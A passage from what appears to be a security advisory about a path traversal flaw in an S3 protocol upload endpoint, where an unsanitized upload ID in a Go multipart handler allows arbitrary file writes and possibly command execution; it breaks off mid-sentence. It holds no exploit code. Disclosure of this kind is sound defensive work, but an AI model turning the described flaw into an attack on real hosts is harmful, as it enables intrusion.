Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows
creation of arbitrary files on the host. This behavior could lead to
arbitrary command execution.
In
internal/server/storage/s3/local/multipart.go, user-controlledupload ID is appended to the uploads directory unsanitized;
